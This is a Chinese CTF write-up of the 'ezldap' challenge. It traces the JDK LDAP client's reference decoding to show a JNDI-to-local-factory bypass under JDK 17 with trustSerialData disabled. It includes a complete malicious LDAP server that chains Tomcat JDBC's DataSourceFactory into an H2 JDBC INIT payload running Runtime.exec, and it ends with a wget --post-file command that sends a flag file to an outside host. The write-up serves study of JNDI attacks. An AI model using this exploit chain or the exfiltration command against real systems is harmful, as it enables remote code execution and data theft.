文章首发于先知社区,传送门。
TL;DR
京麟CTF这次的题非常符合我的胃口,0解的activemq
是个nday
不出网的利用场景,很realworld
但是似乎支撑不了一个文章,之前了解过那个利用类的话那么换个场景很快就能找到解决方案,不知道的话你就花时间坐牢去找吧。
相比于activemq
,我对ezldap
更感兴趣。这道题主要是考察了在truestSerialData
关闭的场景下通过jndi:ldap
协议打本地工厂类的绕过,在之前我根本不知道高jdk
版本下的jndi:ldap
利用可以打本地工厂类,属实是学到了。
这篇文章在先知的标题叫ezldap
题解,但实际上本文大部分都是在分析ldap
客户端的解析逻辑,于是这里就换个标题。之前都是rmi
打本地工厂类绕过,ldap
打本地gadget
。这下竟然反过来了,rmi
可以打反序列化,而ldap
反倒可以打本地工厂类。
分析
开局给了个actuator
未授权访问。
http://116.198.74.135:31157/actuator
真正有用的应该是下面四个端点:
/actuator/env
/actuator/heapdump
/actuator/configprops
/actuator/mappings
最有用的还是heapdump
,通过MAT
简单分析可知目标版本是jdk17
。
通过heapdump_tool
筛选用到的依赖。
byte-buddy-1.12.23.jar
antlr-2.7.7.jar
h2-2.1.214.jar
classmate-1.5.1.jar
jackson-core-2.13.5.jar
jul-to-slf4j-1.7.36.jar
micrometer-core-1.9.17.jar
hibernate-commons-annotations-5.1.2.Final.jar
jakarta.annotation-api-1.3.5.jar
tomcat-jdbc-9.0.83.jar
jaxb-runtime-2.3.9.jar
jandex-2.4.2.Final.jar
tomcat-embed-core-9.0.83.jar
jackson-datatype-jsr310-2.13.5.jar
spring-boot-actuator-2.7.18.jar
logback-classic-1.2.12.jar
spring-boot-actuator-autoconfigure-2.7.18.jar
LatencyUtils-2.0.3.jar
hibernate-core-5.6.15.Final.jar
jakarta.activation-1.2.2.jar
HdrHistogram-2.1.12.jar
txw2-2.3.9.jar
aspectjweaver-1.9.7.jar
spring-expression-5.3.31.jar
jakarta.activation-api-1.2.2.jar
spring-jdbc-5.3.31.jar
jackson-datatype-jdk8-2.13.5.jar
jakarta.persistence-api-2.2.3.jar
tomcat-juli-9.0.83.jar
log4j-to-slf4j-2.17.2.jar
jackson-annotations-2.13.5.jar
slf4j-api-1.7.36.jar
jackson-databind-2.13.5.jar
snakeyaml-1.30.jar
jboss-logging-3.4.3.Final.jar
spring-boot-jarmode-layertools-2.7.18.jar
spring-beans-5.3.31.jar
jackson-module-parameter-names-2.13.5.jar
tomcat-embed-el-9.0.83.jar
jakarta.transaction-api-1.3.3.jar
istack-commons-runtime-3.0.12.jar
jakarta.xml.bind-api-2.3.3.jar
看到有tomcat-jdbc-9.0.83.jar
以及h2-2.1.214.jar
就应该能猜到这题大概率是要打h2 jdbc RCE
了。
而通过分析/actuator/mappings
可知有两个路由:
/source_tr15d0
/lookup
访问/source_tr15d0
拿到lookup
源码。
@GetMapping("/lookup") public String lookup(String path) {
try {
String url = "ldap://" + path;
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
return "ok";
}catch (NamingException e){
return "failed";
}
}
限制了只能ldap
注入。而分析actuator/env
可知设置了truestSerialData
为false
,这点后面分析会讲。
测试环境搭建
主要就是要有个tomcat-jdbc
和h2
。
jdk
设置为17.0.8
,版本差不多就行。
然后还要设置com.sun.jndi.ldap.object.trustSerialData
为false
。
import javax.naming.InitialContext;
//import com.sun.jndi.ldap.Obj;
import org.h2.Driver;
public class Test {
public static void main(String[] args) throws Exception {
System.setProperty("com.sun.jndi.ldap.object.trustSerialData", "false");
InitialContext initialContext = new InitialContext();
String path = "127.0.0.1:1389/Tom";
String url = "ldap://" + path;
initialContext.lookup(url);
}
}
server
的话就先用JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar
看看到底什么情况。
解题+调试
客户端中的path
设置成yourvpsip:1389/deserialURLDNS
,开调!
前面的协议解析不用细看,没什么可利用的。定位到com.sun.jndi.ldap.LdapCtx#c_lookup
。
这里同时通过doSearchOnce(name, "(objectClass=*)", cons, true);
拿到ldapserver
的信息。
从上图看到,比较重要的就是answer
里面有LdapEntry
,其中最重要的就是attrs
中的javaserializeddata
,因为我用的是deserialURLDNS
测试,所以ldapserver
中会往javaserializeddata
塞进反序列化数据。
而后面的逻辑就是解析拿到attrs
。
后面满足if (attrs.get(Obj.*JAVA_ATTRIBUTES*[Obj.*CLASSNAME*]) != null)
才会执行decodeObject
方法。Obj.*JAVA_ATTRIBUTES*[Obj.*CLASSNAME*]
为javaClassName
。
也就是说只要服务端塞了javaClassName
就能走正常流程。
跟进decodeObject
,attrs
有javaSerializedData
则会走deserializeObject
,这也就是最常见的通过ldap
打反序列化的路径。
但是在这之前会通过VersionHelper.*isSerialDataAllowed*()
进行校验。直接抛出异常。
isSerialDataAllowed
直接返回trustSerialData
。
public static boolean isSerialDataAllowed() {
return trustSerialData;
}
而在static
段中看到jdk17
默认com.sun.jndi.ldap.object.trustSerialData
为true
,而由于这道题设置了trustSerialData
为false
,所以此条反序列化不通。
多提一嘴,在jdk20+
版本中com.sun.jndi.ldap.object.trustSerialData
默认为false
。
最终报错:
反序列化这条路走不通,再看看其它的路。
JAVA_ATTRIBUTES[REMOTE_LOC]
为javaRemoteLocation
。
else if ((attr = attrs.get(JAVA_ATTRIBUTES[REMOTE_LOC])) != null) {
// For backward compatibility only
return decodeRmiObject(
(String)attrs.get(JAVA_ATTRIBUTES[CLASSNAME]).get(),
(String)attr.get(), codebases);
}
如果attrs
有javaRemoteLocation
会调用decodeRmiObject
。
而这个方法只给Reference
塞进去javaClassName
,javaRemoteLocation
。我们的目的是打本地工厂类,最起码需要塞进去javaFactory
这个属性,所以这条路(大概肯定)没法利用。
private static Object decodeRmiObject(String className,
String rmiName, String[] codebases) throws NamingException {
return new Reference(className, new StringRefAddr("URL", rmiName));
}
除此之外, 下面还有一条路会调用到*decodeReference*
方法,*JAVA_ATTRIBUTES*[*OBJECT_CLASS*]
是objectClass
如果满足attrs["objectClass"]==JAVA_OBJECT_CLASSES[REF_OBJECT]
,即attrs["objectClass"]=="javaNamingReference"
则会进入decodeReference
方法,这个方法逻辑写的有一大坨不太好直接看懂,所以先调进去看看是什么处理逻辑。
改一下ldapserver
,塞进去一个objectClass
。
启动开调:
成功进入decodeReference
。
可以看到会new Reference(className, factory, (codebases != null? codebases[0] : null));
实例化带工厂类以及类名的Reference
。
服务端这么写,因为远程有tomcat-jdbc
直接打org.apache.tomcat.jdbc.pool.DataSourceFactory
。
重新编译运行,直接定位到c_lookup
最后的DirectoryManager.*getObjectInstance*
方法。obj
果然是个reference
。
成功实例化factory
。
最终走到DataSourceFactory
进而触发jdbc
连接,但properties
是空的,所以打不了。
而properties
是从reference
中拿来的。
for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}
所以还是要看decodeReference
那一坨逻辑。
回到decodeReference
,在得到reference
之后,会处理javaRerenceAddress
。
这个if
处理逻辑非常长,直接看最后的处理了解他是干啥的。发现是这个if
就是把refAddrList
的元素放进ref
中,所以通过这里就能满足上述jdbc
攻击需要的properties
。
接着看if
逻辑,这里会拿attr
,并通过val = (String)vals.next();
遍历。所以我们需要在ldapserver
给javaReferenceAddress
赋值成new String[]{}
数组的形式从而遍历element
。
这里是取第一个字符作为全局分隔符,posnStr
就是第一个分隔符到第二个分隔符之间的字符,其实这个posnStr
就是索引。比如填/0/url/jdbc:xxx
,那么posnStr
就是0
。
之后取type
,这里就是url
。
最后通过setElementAt
设置索引,然后给refAddrList
赋值。
最后把refAddrList
复制到ref
中。
后面就是打h2jdbc
了,java15
之后没有nashorn
,所以通过javac
执行代码。
exp
综上分析,最终ldapserver
应该写成如下形式(分隔符选个自己喜欢的/
):
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Properties;
public class Test {
public static void main(String[] args) {
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig("dc=example,dc=com");
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
1389,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("[LDAP] Listening on 0.0.0.0:1389");
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
public static class OperationInterceptor extends InMemoryOperationInterceptor {
@Override
public void processSearchResult(InMemoryInterceptedSearchResult searchResult) {
String base = searchResult.getRequest().getBaseDN();
Entry e = new Entry(base);
e.addAttribute("objectClass","javaNamingReference");
e.addAttribute("javaClassName", "javax.sql.DataSource");
e.addAttribute("javaFactory","org.apache.tomcat.jdbc.pool.DataSourceFactory");
String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd)\\;return \"1\"\\;}'\\;CALL EXEC ('calc')";
e.addAttribute("javaReferenceAddress",new String[]{"/0/url/"+JDBC_URL,"/1/driverClassName/org.h2.Driver","/2/username/Squirt1e","/3/password/Squirt1e","/4/initialSize/1"});
try {
searchResult.sendSearchEntry(e);
searchResult.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
}
本地通:
远程好像弹不出来shell
?使用wget xxx:19002 --post-file=/flag
外带得到flag
。